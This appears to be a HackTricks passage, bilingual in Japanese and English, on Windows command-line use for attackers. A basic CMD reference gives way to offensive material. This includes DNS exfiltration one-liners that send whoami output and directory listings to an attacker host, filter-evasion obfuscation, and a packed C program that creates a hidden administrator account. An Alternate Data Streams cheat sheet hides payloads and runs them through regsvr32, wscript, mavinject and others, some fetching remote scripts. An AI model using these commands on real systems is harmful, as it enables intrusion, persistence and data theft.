  • tasklist: 現在実行中のプロセスのリストを表示します。

  • whoami: Displays the username of the current user.

  • whoami: 現在のユーザーのユーザー名を表示します。

File and Directory Operations

ファイルとディレクトリの操作

  • dir: Displays a list of files and subdirectories in a directory.

  • dir: ディレクトリ内のファイルとサブディレクトリのリストを表示します。

  • cd: Changes the current directory.

  • cd: 現在のディレクトリを変更します。

  • mkdir: Creates a new directory.

  • mkdir: 新しいディレクトリを作成します。

  • copy: Copies one or more files to another location.

  • copy: 1つ以上のファイルを別の場所にコピーします。

  • move: Moves one or more files to another location.

  • move: 1つ以上のファイルを別の場所に移動します。

  • del: Deletes one or more files.

  • del: 1つ以上のファイルを削除します。

Network Operations

ネットワーク操作

  • ping: Sends ICMP Echo Request messages to a specified host to test network connectivity.

  • ping: ネットワークの接続性をテストするために、指定したホストにICMPエコーリクエストメッセージを送信します。

  • nslookup: Queries DNS servers to retrieve DNS information.

  • nslookup: DNS情報を取得するためにDNSサーバーにクエリを送信します。

  • tracert: Traces the route that packets take to reach a destination host.

  • tracert: パケットが目的のホストに到達するまでの経路をトレースします。

  • net: Displays or modifies network settings.

  • net: ネットワークの設定を表示または変更します。

  • netsh: Configures network interfaces, routing protocols, and filters.

  • netsh: ネットワークインターフェース、ルーティングプロトコル、およびフィルタを設定します。

User and Account Management

ユーザーとアカウントの管理

  • net user: Displays or modifies user accounts.

  • net user: ユーザーアカウントを表示または変更します。

  • net localgroup: Displays or modifies local groups.

  • net localgroup: ローカルグループを表示または変更します。

  • net group: Displays or modifies global groups.

  • net group: グローバルグループを表示または変更します。

  • net accounts: Displays or modifies account policies.

  • net accounts: アカウントポリシーを表示または変更します。

Service Management

サービスの管理

  • sc: Displays or modifies service configuration.

  • sc: サービスの構成を表示または変更します。

  • net start: Starts a service.

  • net start: サービスを開始します。

  • net stop: Stops a service.

  • net stop: サービスを停止します。

  • taskkill: Terminates a running process or application.

  • taskkill: 実行中のプロセスまたはアプリケーションを終了します。

System Management

システムの管理

  • shutdown: Shuts down or restarts a local or remote computer.

  • shutdown: ローカルまたはリモートコンピューターをシャットダウンまたは再起動します。

  • schtasks: Schedules commands and programs to run at specific times or events.

  • schtasks: 特定の時間またはイベントでコマンドとプログラムをスケジュールします。

  • reg: Manipulates the Windows Registry.

  • reg: Windowsレジストリを操作します。

  • gpupdate: Refreshes local and Active Directory-based Group Policy settings.

  • gpupdate: ローカルおよびActive Directoryベースのグループポリシー設定を更新します。

  • gpresult: Displays the Resultant Set of Policy (RSoP) for a user or computer.

  • gpresult: ユーザーまたはコンピューターのポリシーの結果セットRSoPを表示します。

Miscellaneous

その他

  • echo: Displays messages or turns command echoing on or off.

  • echo: メッセージを表示するか、コマンドのエコーをオンまたはオフにします。

  • type: Displays the contents of a text file.

  • type: テキストファイルの内容を表示します。

  • find: Searches for a specific text string in one or more files.

  • find: 1つ以上のファイルで特定のテキスト文字列を検索します。

  • findstr: Searches for strings in files using regular expressions.

  • findstr: 正規表現を使用してファイル内の文字列を検索します。

  • taskmgr: Opens the Windows Task Manager.

  • taskmgr: Windowsタスクマネージャーを開きます。

  • msconfig: Opens the System Configuration utility.

  • msconfig: システム構成ユーティリティを開きます。

  • control: Opens the Control Panel.

  • control: コントロールパネルを開きます。

  • calc: Opens the Windows Calculator.

  • calc: Windows電卓を開きます。

  • notepad: Opens Notepad.

  • notepad: メモ帳を開きます。

  • explorer: Opens Windows Explorer.

  • explorer: Windowsエクスプローラーを開きます。

  • winver: Displays the Windows version.

  • winver: Windowsのバージョンを表示します。

  • help: Displays help information for CMD commands.

  • help: CMDコマンドのヘルプ情報を表示します。

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

文字列のブラックリスト回避

In some cases, when attempting to inject malicious code or commands into a system, certain characters may be blacklisted or filtered out by the target application. However, there are several techniques that can be used to bypass these character blacklists and successfully execute the desired code.

いくつかの場合、システムに悪意のあるコードやコマンドを注入しようとする際に、対象のアプリケーションによって特定の文字がブラックリスト化されたり、フィルタリングされたりすることがあります。しかし、これらの文字列のブラックリストを回避し、望むコードを正常に実行するために使用できるいくつかのテクニックがあります。

One common technique is to use alternative representations of the blacklisted characters. For example, if the character 'a' is blacklisted, it can be represented using its ASCII code or Unicode representation. Similarly, other characters can be represented using HTML entities or URL encoding.

一般的なテクニックの1つは、ブラックリスト化された文字の代替表現を使用することです。たとえば、文字 'a' がブラックリスト化されている場合、ASCII コードや Unicode 表現を使用して表すことができます。同様に、他の文字は HTML エンティティや URL エンコーディングを使用して表現することができます。

Another technique is to use different character encodings. By using encodings such as UTF-8, UTF-16, or Base64, it is possible to represent the blacklisted characters in a different format that may bypass the filtering mechanism.

別のテクニックは、異なる文字エンコーディングを使用することです。UTF-8、UTF-16、または Base64 などのエンコーディングを使用することで、ブラックリスト化された文字をフィルタリングメカニズムをバイパスする可能性のある異なる形式で表現することができます。

It is also worth noting that some applications may only blacklist certain characters in specific contexts. Therefore, it is important to understand the context in which the blacklisted characters are being used and find alternative ways to achieve the desired outcome.

また、一部のアプリケーションでは、特定のコンテキストでのみ特定の文字をブラックリスト化する場合があります。したがって、ブラックリスト化された文字が使用されているコンテキストを理解し、望ましい結果を得るための代替手段を見つけることが重要です。

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

CMDラインを曖昧化するためのコマンドを生成します。

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

リッスンアドレスACL

管理者権限なしでhttp://+:80/Temporary_Listen_Addresses/でリッスンすることができます。

netsh http show urlacl

マニュアルDNSシェル

攻撃者Kaliは、次の2つのオプションのいずれかを使用する必要があります

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

ターゲット

for /f tokens _**_技術: これにより、コマンドを実行し、各行の最初のX単語を取得し、それをDNS経由でサーバーに送信できます。

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

出力をリダイレクトして、それを読み取ることもできます。

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

CコードからCMDを呼び出す

To call CMD from C code, you can use the system() function provided by the C standard library. This function allows you to execute a command in the command prompt.

Here is an example of how to call CMD from C code:

#include <stdlib.h>

int main() {
    system("cmd /c <command>");
    return 0;
}

Replace <command> with the command you want to execute in CMD. The /c flag is used to execute the command and then terminate CMD.

Compile and run the C code, and it will call CMD and execute the specified command.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Alternate Data Streams チートシート (ADS/Alternate Data Stream)

https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8fから取得しました。

##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct   ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}

## Discover ADS contecnt
dir /R
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'

##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe

##Executing the ADS content###

* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'

* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll

* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"

* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js

* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"

* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe                   4172 31C5CE94259D4006           2     18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"

* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)

* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209

* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

* Powershell.exe
powershell -ep bypass - < c:\temp:ttt

* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"

* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}

* Regedit.exe
regedit c:\ads\file.txt:regfile.reg

* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile

* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe

* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904

* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md

* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥